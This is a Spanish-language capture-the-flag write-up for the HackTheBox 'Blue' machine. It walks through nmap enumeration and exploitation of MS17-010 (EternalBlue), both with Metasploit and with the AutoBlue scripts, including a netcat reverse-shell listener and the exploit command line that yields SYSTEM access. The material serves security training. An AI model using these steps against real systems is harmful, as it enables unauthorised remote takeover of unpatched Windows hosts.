HTB Blue
Esta es una máquina de nivel fácil, donde se cubre uno de los más conocidos exploits de Windows
Table of contents
Reconocimiento
Primero debemos comprobar si tenemos conexión con nuestro objetivo, el cual es 10.10.10.40
.
Por ello primero realizaremos un ping a esa dirección.
ping -c 3 10.10.10.40
Como se puede observar en la imagen, tenemos un ttl de 127 con el cual podemos intuir que se trata de una máquina Windows.
Enumeración
Aplicando Nmap podemos observar que tenemos los siguientes puertos abiertos
Conociendo los puertos abiertos realizamos un escaneo más profundo pero solo de los puertos 135,139,445,49152,49153,49154,49155,49156,49157
.
Podemos observar que es un Win7 así también que está compartiendo un sistema samba.
Primero tratamos de enumerar y buscar archivos en este servicio, observamos que tenemos dos carpetas compartidas Share y Users.
Haciendo uso de smbclient listamos los archivos que están compartiendo, pero ambos están vacíos.
Como no pudimos encontrar nada útil en esa sección, procedemos a buscar más sobre la versión de Win7 (Windows 7 Professional 7601 Service Pack 1)
Observamos que puede ser vulnerable a EternalBlue para determinar ello también podemos usar nmap, así que ejecutamos nmap y el script vuln. Al terminar de ejecutarse podemos observar que es vulnerable a un Remote Code Execution la cual tiene como nombre de ms17-010.
Explotación A
Si realizamos la búsqueda por medio de searchsploit podemos observar que varios hacen referencia a EternalBlue.
Haciendo uso de Metasploit podemos explotarlo de una manera muy rápida, para ello iniciamos metasploit usando el comando msfconsole
, con el programa iniciado, buscamos por ms17-010
.
Seleccionamos el primero use 0
e ingresamos el comando options
para poder ver qué datos debemos ingresar, así como que datos vienen preestablecidos.
Para poder ingresar los datos debemos usar el formato set [nombre] [valor]
Luego de ingresar los datos necesarios ingresamos el comando run
para que se ejecute, cunado se termine de ejecutar el exploit podemos usar getuid
para comprobar quienes somos y como se puede ver somos NT AUTHORITY\SYSTEM
Podemos emplear el comando shell
para tener una shell que de cierta manera es más práctica para saber donde estamos y movernos con más practicidad.
Debido a que tenemos privilegios de administrador ya no necesitamos hacer nada, solo buscar los flags que representan que logramos tener acceso.
El primer flag que es la del usuario se encuentra en la siguiente ruta
El flag de root se encontraría en el escritorio del Administrador de esta manera cumpliendo lo necesario para superar la máquina.
Explotación B
Otra manera de poder llevar el escalamiento de privilegios sin metasploit es usando AutoBlue-MS17-010
, para ello debemos descargar el archivo AutoBlue-MS17-010. Una vez descargado ejecutamos el checker, con el que también podemos validar que el target es vulnerable a EternalBlue.
Para poder llevar a cabo la explotación vamos a la carpeta shellcode y ejecutamos el archivo shell_prep.sh, donde ingresaremos los valores que nos piden, de esta manera podremos generar un payload.
Cuando se termine de ejecutar, abrimos otra terminal donde iniciamos nuestro servicio de nc con el puerto que asignamos en el paso anterior y rlwrap para tener más flexibilidad
rlwrap nc -lvnp 1234
Regresamos a la dirección de la carpeta descargada y ejecutamos el comando python eternalblue_exploit7.py ,<ip target> shellcode/sc_x64.bin
Ignoramos el Invalid_parameter y nos dirigimos a la otra terminal donde podemos observar que se estableció de manera correcta la conexión, así también que contamos con permisos de administrador, lo cual nos permite tener los Flags para comprobar nuestro acceso.